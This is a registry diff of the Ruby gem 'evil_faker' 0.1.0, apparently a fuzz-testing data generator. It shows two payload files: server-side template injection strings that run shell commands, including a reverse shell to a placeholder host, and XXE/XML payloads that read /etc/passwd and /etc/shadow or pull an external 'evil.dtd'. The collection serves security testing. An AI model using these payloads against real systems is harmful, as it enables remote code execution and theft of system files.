evil_faker 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/CHANGELOG.md +62 -0
- data/GENERATORS.md +164 -0
- data/LICENSE.txt +21 -0
- data/NOTICE.md +196 -0
- data/README.md +156 -0
- data/Rakefile +12 -0
- data/lib/evil_faker/base.rb +50 -0
- data/lib/evil_faker/data/blns.txt +742 -0
- data/lib/evil_faker/data/groups/blns/emoji/emoji.txt +10 -0
- data/lib/evil_faker/data/groups/blns/emoji/emoticons.txt +12 -0
- data/lib/evil_faker/data/groups/blns/emoji/regional.txt +3 -0
- data/lib/evil_faker/data/groups/blns/exploits/cves.txt +4 -0
- data/lib/evil_faker/data/groups/blns/exploits/human.txt +1 -0
- data/lib/evil_faker/data/groups/blns/exploits/ios.txt +3 -0
- data/lib/evil_faker/data/groups/blns/exploits/irc.txt +1 -0
- data/lib/evil_faker/data/groups/blns/filenames.txt +14 -0
- data/lib/evil_faker/data/groups/blns/injection/command.txt +6 -0
- data/lib/evil_faker/data/groups/blns/injection/file_inclusion.txt +2 -0
- data/lib/evil_faker/data/groups/blns/injection/interpolation.txt +9 -0
- data/lib/evil_faker/data/groups/blns/injection/jinja2.txt +2 -0
- data/lib/evil_faker/data/groups/blns/injection/script.txt +236 -0
- data/lib/evil_faker/data/groups/blns/injection/server_code.txt +9 -0
- data/lib/evil_faker/data/groups/blns/injection/sql.txt +8 -0
- data/lib/evil_faker/data/groups/blns/injection/xxe.txt +1 -0
- data/lib/evil_faker/data/groups/blns/numeric/numeric.txt +71 -0
- data/lib/evil_faker/data/groups/blns/numeric/unicode_numbers.txt +2 -0
- data/lib/evil_faker/data/groups/blns/profanity.txt +22 -0
- data/lib/evil_faker/data/groups/blns/reserved.txt +19 -0
- data/lib/evil_faker/data/groups/blns/rtl.txt +7 -0
- data/lib/evil_faker/data/groups/blns/terminal.txt +3 -0
- data/lib/evil_faker/data/groups/blns/unicode/accents.txt +4 -0
- data/lib/evil_faker/data/groups/blns/unicode/bom.txt +2 -0
- data/lib/evil_faker/data/groups/blns/unicode/controls.txt +3 -0
- data/lib/evil_faker/data/groups/blns/unicode/font.txt +8 -0
- data/lib/evil_faker/data/groups/blns/unicode/lowercase.txt +2 -0
- data/lib/evil_faker/data/groups/blns/unicode/quotes.txt +11 -0
- data/lib/evil_faker/data/groups/blns/unicode/scripts.txt +2 -0
- data/lib/evil_faker/data/groups/blns/unicode/special.txt +4 -0
- data/lib/evil_faker/data/groups/blns/unicode/symbols.txt +12 -0
- data/lib/evil_faker/data/groups/blns/unicode/trick.txt +5 -0
- data/lib/evil_faker/data/groups/blns/unicode/two_byte.txt +10 -0
- data/lib/evil_faker/data/groups/blns/unicode/upsidedown.txt +2 -0
- data/lib/evil_faker/data/groups/blns/unicode/whitespace.txt +1 -0
- data/lib/evil_faker/data/groups/blns/zalgo.txt +5 -0
- data/lib/evil_faker/data/groups/fuzzdb/email/invalid.txt +26 -0
- data/lib/evil_faker/data/groups/fuzzdb/email/valid.txt +32 -0
- data/lib/evil_faker/data/groups/fuzzdb/emoji/emoji.txt +8 -0
- data/lib/evil_faker/data/groups/fuzzdb/emoji/emoticons.txt +11 -0
- data/lib/evil_faker/data/groups/fuzzdb/emoji/regional.txt +3 -0
- data/lib/evil_faker/data/groups/fuzzdb/exploits/ios.txt +1 -0
- data/lib/evil_faker/data/groups/fuzzdb/headers/mimetypes.txt +1864 -0
- data/lib/evil_faker/data/groups/fuzzdb/headers/protocol.txt +357 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/command.txt +1115 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/directory_traversal.txt +536 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/file_inclusion.txt +906 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/file_upload_bypass.txt +371 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/format_strings.txt +67 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/generic.txt +584 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/integer_overflow.txt +12 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/json.txt +89 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/ldap.txt +35 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/magic_hashes.txt +24 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/nosql.txt +17 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/open_redirect.txt +37 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/rfi.txt +2241 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/script.txt +930 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/server_side_include.txt +78 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/source_disclosure.txt +18 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/sql.txt +661 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/ssrf.txt +56 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/type_confusion.txt +329 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/xpath.txt +13 -0
- data/lib/evil_faker/data/groups/fuzzdb/injection/xxe.txt +65 -0
- data/lib/evil_faker/data/groups/fuzzdb/routes/debug_params.txt +157 -0
- data/lib/evil_faker/data/groups/fuzzdb/routes/directory_indexing.txt +15 -0
- data/lib/evil_faker/data/groups/fuzzdb/routes/local_paths.txt +26 -0
- data/lib/evil_faker/data/groups/fuzzdb/rtl.txt +5 -0
- data/lib/evil_faker/data/groups/fuzzdb/terminal.txt +3 -0
- data/lib/evil_faker/data/groups/fuzzdb/unicode/bad_chars.txt +15 -0
- data/lib/evil_faker/data/groups/fuzzdb/unicode/special.txt +31 -0
- data/lib/evil_faker/data/groups/fuzzdb/unicode/trick.txt +5 -0
- data/lib/evil_faker/data/groups/fuzzdb/unicode/two_byte.txt +9 -0
- data/lib/evil_faker/data/groups/fuzzdb/unicode/upsidedown.txt +2 -0
- data/lib/evil_faker/data/groups/intruder_payloads/filenames.txt +124 -0
- data/lib/evil_faker/data/groups/intruder_payloads/injection/command.txt +445 -0
- data/lib/evil_faker/data/groups/intruder_payloads/injection/directory_traversal.txt +2578 -0
- data/lib/evil_faker/data/groups/intruder_payloads/injection/file_inclusion.txt +698 -0
- data/lib/evil_faker/data/groups/intruder_payloads/injection/generic.txt +1401 -0
- data/lib/evil_faker/data/groups/intruder_payloads/injection/overflow.txt +36 -0
- data/lib/evil_faker/data/groups/intruder_payloads/injection/script.txt +61 -0
- data/lib/evil_faker/data/groups/intruder_payloads/injection/server_side_include.txt +18 -0
- data/lib/evil_faker/data/groups/intruder_payloads/injection/sql.txt +753 -0
- data/lib/evil_faker/data/groups/intruder_payloads/injection/xxe.txt +66 -0
- data/lib/evil_faker/data/groups/intruder_payloads/unicode/bad_chars.txt +1 -0
- data/lib/evil_faker/data/groups/payloads_all_the_things/headers/cache_deception.txt +1125 -0
- data/lib/evil_faker/data/groups/payloads_all_the_things/injection/command.txt +496 -0
- data/lib/evil_faker/data/groups/payloads_all_the_things/injection/directory_traversal.txt +22607 -0
- data/lib/evil_faker/data/groups/payloads_all_the_things/injection/file_inclusion.txt +4787 -0
- data/lib/evil_faker/data/groups/payloads_all_the_things/injection/ldap.txt +60 -0
- data/lib/evil_faker/data/groups/payloads_all_the_things/injection/nosql.txt +26 -0
- data/lib/evil_faker/data/groups/payloads_all_the_things/injection/open_redirect.txt +305 -0
- data/lib/evil_faker/data/groups/payloads_all_the_things/injection/script.txt +2165 -0
- data/lib/evil_faker/data/groups/payloads_all_the_things/injection/sql.txt +1354 -0
- data/lib/evil_faker/data/groups/payloads_all_the_things/injection/ssti.txt +105 -0
- data/lib/evil_faker/data/groups/payloads_all_the_things/injection/xxe.txt +102 -0
- data/lib/evil_faker/data/groups/payloads_all_the_things/routes/admin_interfaces.txt +52 -0
- data/lib/evil_faker/groups/email.rb +11 -0
- data/lib/evil_faker/groups/emoji.rb +12 -0
- data/lib/evil_faker/groups/exploits.rb +13 -0
- data/lib/evil_faker/groups/filenames.rb +8 -0
- data/lib/evil_faker/groups/headers.rb +12 -0
- data/lib/evil_faker/groups/injection.rb +35 -0
- data/lib/evil_faker/groups/numeric.rb +11 -0
- data/lib/evil_faker/groups/profanity.rb +8 -0
- data/lib/evil_faker/groups/reserved.rb +8 -0
- data/lib/evil_faker/groups/routes.rb +13 -0
- data/lib/evil_faker/groups/rtl.rb +8 -0
- data/lib/evil_faker/groups/terminal.rb +8 -0
- data/lib/evil_faker/groups/unicode.rb +23 -0
- data/lib/evil_faker/groups/zalgo.rb +8 -0
- data/lib/evil_faker/source_base.rb +30 -0
- data/lib/evil_faker/sources/blns.rb +8 -0
- data/lib/evil_faker/sources/fuzzdb.rb +8 -0
- data/lib/evil_faker/sources/intruder_payloads.rb +8 -0
- data/lib/evil_faker/sources/payloads_all_the_things.rb +8 -0
- data/lib/evil_faker/version.rb +5 -0
- data/lib/evil_faker.rb +13 -0
- data/scripts/blns_build_corpus.rb +159 -0
- data/scripts/fuzzdb_build_corpus.rb +166 -0
- data/scripts/generate_namespaces.rb +87 -0
- data/scripts/intruder_payloads_build_corpus.rb +112 -0
- data/scripts/payloads_all_the_things_build_corpus.rb +74 -0
- data/sig/evil_faker.rbs +4 -0
- metadata +181 -0
|
@@ -0,0 +1,105 @@
|
|
|
1
|
+
{{4*4}}[[5*5]]
|
|
2
|
+
{{7*7}}
|
|
3
|
+
{{7*'7'}}
|
|
4
|
+
<%= 7 * 7 %>
|
|
5
|
+
${3*3}
|
|
6
|
+
${{7*7}}
|
|
7
|
+
@(1+2)
|
|
8
|
+
{{dump(app)}}
|
|
9
|
+
{{app.request.server.all|join(',')}}
|
|
10
|
+
{{config.items()}}
|
|
11
|
+
{{ [].class.base.subclasses() }}
|
|
12
|
+
{{''.class.mro()[1].subclasses()}}
|
|
13
|
+
{{ ''.__class__.__mro__[2].__subclasses__() }}
|
|
14
|
+
{% for key, value in config.iteritems() %}<dt>{{ key|e }}</dt><dd>{{ value|e }}</dd>{% endfor %}
|
|
15
|
+
{{'a'.toUpperCase()}}
|
|
16
|
+
{{ request }}
|
|
17
|
+
{{self}}
|
|
18
|
+
<%= File.open('/etc/passwd').read %>
|
|
19
|
+
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
|
|
20
|
+
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
|
|
21
|
+
${"freemarker.template.utility.Execute"?new()("id")}
|
|
22
|
+
{{app.request.query.filter(0,0,1024,{'options':'system'})}}
|
|
23
|
+
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
|
|
24
|
+
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read() }}
|
|
25
|
+
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
|
|
26
|
+
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
|
|
27
|
+
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
|
|
28
|
+
{$smarty.version}
|
|
29
|
+
{php}echo `id`;{/php}
|
|
30
|
+
{{['id']|filter('system')}}
|
|
31
|
+
{{['cat\x20/etc/passwd']|filter('system')}}
|
|
32
|
+
{{['cat$IFS/etc/passwd']|filter('system')}}
|
|
33
|
+
{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}
|
|
34
|
+
{{request|attr(["_"*2,"class","_"*2]|join)}}
|
|
35
|
+
{{request|attr(["__","class","__"]|join)}}
|
|
36
|
+
{{request|attr("__class__")}}
|
|
37
|
+
{{request.__class__}}
|
|
38
|
+
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
|
|
39
|
+
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
|
|
40
|
+
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
|
|
41
|
+
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
|
|
42
|
+
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
|
|
43
|
+
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
|
|
44
|
+
${T(java.lang.System).getenv()}
|
|
45
|
+
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
|
|
46
|
+
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}${self.module.cache.util.os.system("id")}
|
|
47
|
+
${self.module.runtime.util.os.system("id")}
|
|
48
|
+
${self.template.module.cache.util.os.system("id")}
|
|
49
|
+
${self.module.cache.compat.inspect.os.system("id")}
|
|
50
|
+
${self.__init__.__globals__['util'].os.system('id')}
|
|
51
|
+
${self.template.module.runtime.util.os.system("id")}
|
|
52
|
+
${self.module.filters.compat.inspect.os.system("id")}
|
|
53
|
+
${self.module.runtime.compat.inspect.os.system("id")}
|
|
54
|
+
${self.module.runtime.exceptions.util.os.system("id")}
|
|
55
|
+
${self.template.__init__.__globals__['os'].system('id')}
|
|
56
|
+
${self.module.cache.util.compat.inspect.os.system("id")}
|
|
57
|
+
${self.module.runtime.util.compat.inspect.os.system("id")}
|
|
58
|
+
${self.template._mmarker.module.cache.util.os.system("id")}
|
|
59
|
+
${self.template.module.cache.compat.inspect.os.system("id")}
|
|
60
|
+
${self.module.cache.compat.inspect.linecache.os.system("id")}
|
|
61
|
+
${self.template._mmarker.module.runtime.util.os.system("id")}
|
|
62
|
+
${self.attr._NSAttr__parent.module.cache.util.os.system("id")}
|
|
63
|
+
${self.template.module.filters.compat.inspect.os.system("id")}
|
|
64
|
+
${self.template.module.runtime.compat.inspect.os.system("id")}
|
|
65
|
+
${self.module.filters.compat.inspect.linecache.os.system("id")}
|
|
66
|
+
${self.module.runtime.compat.inspect.linecache.os.system("id")}
|
|
67
|
+
${self.template.module.runtime.exceptions.util.os.system("id")}
|
|
68
|
+
${self.attr._NSAttr__parent.module.runtime.util.os.system("id")}
|
|
69
|
+
${self.context._with_template.module.cache.util.os.system("id")}
|
|
70
|
+
${self.module.runtime.exceptions.compat.inspect.os.system("id")}
|
|
71
|
+
${self.template.module.cache.util.compat.inspect.os.system("id")}
|
|
72
|
+
${self.context._with_template.module.runtime.util.os.system("id")}
|
|
73
|
+
${self.module.cache.util.compat.inspect.linecache.os.system("id")}
|
|
74
|
+
${self.template.module.runtime.util.compat.inspect.os.system("id")}
|
|
75
|
+
${self.module.runtime.util.compat.inspect.linecache.os.system("id")}
|
|
76
|
+
${self.module.runtime.exceptions.traceback.linecache.os.system("id")}
|
|
77
|
+
${self.module.runtime.exceptions.util.compat.inspect.os.system("id")}
|
|
78
|
+
${self.template._mmarker.module.cache.compat.inspect.os.system("id")}
|
|
79
|
+
${self.template.module.cache.compat.inspect.linecache.os.system("id")}
|
|
80
|
+
${self.attr._NSAttr__parent.template.module.cache.util.os.system("id")}
|
|
81
|
+
${self.template._mmarker.module.filters.compat.inspect.os.system("id")}
|
|
82
|
+
${self.template._mmarker.module.runtime.compat.inspect.os.system("id")}
|
|
83
|
+
${self.attr._NSAttr__parent.module.cache.compat.inspect.os.system("id")}
|
|
84
|
+
${self.template._mmarker.module.runtime.exceptions.util.os.system("id")}
|
|
85
|
+
${self.template.module.filters.compat.inspect.linecache.os.system("id")}
|
|
86
|
+
${self.template.module.runtime.compat.inspect.linecache.os.system("id")}
|
|
87
|
+
${self.attr._NSAttr__parent.template.module.runtime.util.os.system("id")}
|
|
88
|
+
${self.context._with_template._mmarker.module.cache.util.os.system("id")}
|
|
89
|
+
${self.template.module.runtime.exceptions.compat.inspect.os.system("id")}
|
|
90
|
+
${self.attr._NSAttr__parent.module.filters.compat.inspect.os.system("id")}
|
|
91
|
+
${self.attr._NSAttr__parent.module.runtime.compat.inspect.os.system("id")}
|
|
92
|
+
${self.context._with_template.module.cache.compat.inspect.os.system("id")}
|
|
93
|
+
${self.module.runtime.exceptions.compat.inspect.linecache.os.system("id")}
|
|
94
|
+
${self.attr._NSAttr__parent.module.runtime.exceptions.util.os.system("id")}
|
|
95
|
+
${self.context._with_template._mmarker.module.runtime.util.os.system("id")}
|
|
96
|
+
${self.context._with_template.module.filters.compat.inspect.os.system("id")}
|
|
97
|
+
${self.context._with_template.module.runtime.compat.inspect.os.system("id")}
|
|
98
|
+
${self.context._with_template.module.runtime.exceptions.util.os.system("id")}
|
|
99
|
+
${self.template.module.runtime.exceptions.traceback.linecache.os.system("id")}
|
|
100
|
+
{{self._TemplateReference__context.cycler.__init__.__globals__.os}}
|
|
101
|
+
{{self._TemplateReference__context.joiner.__init__.__globals__.os}}
|
|
102
|
+
{{self._TemplateReference__context.namespace.__init__.__globals__.os}}
|
|
103
|
+
{{cycler.__init__.__globals__.os}}
|
|
104
|
+
{{joiner.__init__.__globals__.os}}
|
|
105
|
+
{{namespace.__init__.__globals__.os}}
|
|
@@ -0,0 +1,102 @@
|
|
|
1
|
+
<?xml version="1.0" encoding="ISO-8859-1"?>
|
|
2
|
+
<!DOCTYPE xxe [<!ENTITY foo "aaaaaa">]>
|
|
3
|
+
<!DOCTYPE xxe [<!ENTITY foo "aaaaaa">]><root>&foo;</root>
|
|
4
|
+
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE xxe [<!ENTITY foo "aaaaaa">]>
|
|
5
|
+
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE xxe [<!ENTITY foo "aaaaaa">]><root>&foo;</root>
|
|
6
|
+
<?xml version="1.0" encoding="ISO-8859-1"?><test></test>
|
|
7
|
+
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
|
|
8
|
+
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
|
|
9
|
+
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/issue" >]><foo>&xxe;</foo>
|
|
10
|
+
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/issue" >]>
|
|
11
|
+
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>
|
|
12
|
+
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/shadow" >]>
|
|
13
|
+
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
|
|
14
|
+
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]>
|
|
15
|
+
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "http://example.com:80" >]><foo>&xxe;</foo>
|
|
16
|
+
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "http://example:443" >]>
|
|
17
|
+
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:////dev/random">]><foo>&xxe;</foo>
|
|
18
|
+
<test></test>
|
|
19
|
+
<![CDATA[<test></test>]]>
|
|
20
|
+
&foo;
|
|
21
|
+
%foo;
|
|
22
|
+
count(/child::node())
|
|
23
|
+
x' or name()='username' or 'x'='y
|
|
24
|
+
<name>','')); phpinfo(); exit;/*</name>
|
|
25
|
+
<![CDATA[<script>var n=0;while(true){n++;}</script>]]>
|
|
26
|
+
<![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('XSS');<![CDATA[<]]>/SCRIPT<![CDATA[>]]>
|
|
27
|
+
<?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('XSS');<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo>
|
|
28
|
+
<foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('XSS');<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo>
|
|
29
|
+
<?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[' or 1=1 or ''=']]></foo>
|
|
30
|
+
<foo><![CDATA[' or 1=1 or ''=']]></foo>
|
|
31
|
+
<xml ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
|
|
32
|
+
<xml ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></xml><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
|
|
33
|
+
<xml SRC="xsstest.xml" ID=I></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
|
|
34
|
+
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
|
|
35
|
+
<xml SRC="xsstest.xml" ID=I></xml>
|
|
36
|
+
<HTML xmlns:xss><?import namespace="xss" implementation="http://ha.ckers.org/xss.htc"><xss:xss>XSS</xss:xss></HTML>
|
|
37
|
+
<HTML xmlns:xss><?import namespace="xss" implementation="http://ha.ckers.org/xss.htc">
|
|
38
|
+
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"><xsl:template match="/"><script>alert(123)</script></xsl:template></xsl:stylesheet>
|
|
39
|
+
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"><xsl:template match="/"><xsl:copy-of select="document('/etc/passwd')"/></xsl:template></xsl:stylesheet>
|
|
40
|
+
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"><xsl:template match="/"><xsl:value-of select="php:function('passthru','ls -la')"/></xsl:template></xsl:stylesheet>
|
|
41
|
+
<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
|
|
42
|
+
<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/shadow" >]>
|
|
43
|
+
<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]>
|
|
44
|
+
<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "http://example.com/text.txt" >]>
|
|
45
|
+
<!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:////dev/random">]>
|
|
46
|
+
<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://127.0.0.1:80/?%file;'> "> %int;
|
|
47
|
+
<!DOCTYPE xxe [ <!ENTITY % file SYSTEM "file:///etc/issue"><!ENTITY % dtd SYSTEM "http://example.com/evil.dtd">%dtd;%trick;]>
|
|
48
|
+
<!DOCTYPE xxe [ <!ENTITY % file SYSTEM "file:///c:/boot.ini"><!ENTITY % dtd SYSTEM "http://example.com/evil.dtd">%dtd;%trick;]>
|
|
49
|
+
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
|
|
50
|
+
<!DOCTYPE foo [<!ENTITY xxe7eb97 SYSTEM "file:///etc/passwd"> ]>
|
|
51
|
+
<!DOCTYPE foo [<!ENTITY xxe7eb97 SYSTEM "file:///c:/boot.ini"> ]>
|
|
52
|
+
<!DOCTYPE foo [<!ENTITY xxe46471 SYSTEM "http://crowdshield.com/.testing/rfi_vuln.txt"> ]>
|
|
53
|
+
<?xml version="1.0"?><methodCall><methodName>demo.sayHello</methodName><params></params></methodCall>
|
|
54
|
+
<?xml version="1.0"?><change-log><text>Hello World</text></change-log>
|
|
55
|
+
<?xml version="1.0"?><change-log><text>"Hello World"</text></change-log>
|
|
56
|
+
<?xml version="1.0"?><!DOCTYPE change-log[ <!ENTITY myEntity "World"> ]><change-log><text>Hello &myEntity;</text></change-log>
|
|
57
|
+
<?xml version="1.0"?><!DOCTYPE change-log[ <!ENTITY myEntity "World"><!ENTITY myQuote """> ]><change-log><text>&myQuote;Hello &myEntity;&myQuote;</text></change-log>
|
|
58
|
+
<!ENTITY systemEntity SYSTEM "robots.txt">
|
|
59
|
+
<change-log> <text>&systemEntity;</text> </change-log>
|
|
60
|
+
<?xml version="1.0"?> <!DOCTYPE change-log [ <!ENTITY systemEntity SYSTEM "robots.txt"> ]> <change-log> <text>&systemEntity;</text> </change-log>
|
|
61
|
+
<?xml version="1.0"?> <!DOCTYPE change-log [ <!ENTITY systemEntity SYSTEM "../../../../boot.ini"> ]> <change-log> <text>&systemEntity;</text> </change-log>
|
|
62
|
+
<?xml version="1.0"?> <!DOCTYPE change-log [ <!ENTITY systemEntity SYSTEM "robots.txt"> ]> <change-log> <text>&systemEntity;</text>; </change-log>
|
|
63
|
+
<test> $lDOMDocument->textContent=<![CDATA[<]]>script<![CDATA[>]]>alert('XSS')<![CDATA[<]]>/script<![CDATA[>]]> </test>
|
|
64
|
+
<?xml version="1.0"?><change-log><text><script>alert(1)</script></text></change-log>
|
|
65
|
+
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file://c:/boot.ini">]><foo>&xxe;</foo>
|
|
66
|
+
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:////etc/passwd">]><foo>&xxe;</foo>
|
|
67
|
+
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:////etc/shadow">]><foo>&xxe;</foo>
|
|
68
|
+
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "https://crowdshield.com/.testing/rfi_vuln.txt">]><foo>&xxe;</foo>
|
|
69
|
+
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "http://xerosecurity.com/.testing/rfi_vuln.txt">]><foo>&xxe;</foo>
|
|
70
|
+
<xml ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>"
|
|
71
|
+
<xml ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></xml><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>"
|
|
72
|
+
<xml SRC="https://crowdshield.com/.testing/rfi_vuln.txt" ID=I></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>"
|
|
73
|
+
<HTML xmlns:xss><?import namespace="xss" implementation="https://crowdshield.com/.testing/xss.html"><xss:xss>XSS</xss:xss></HTML>
|
|
74
|
+
<xml SRC="https://crowdshield.com/.testing/xss.html" ID=I></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
|
|
75
|
+
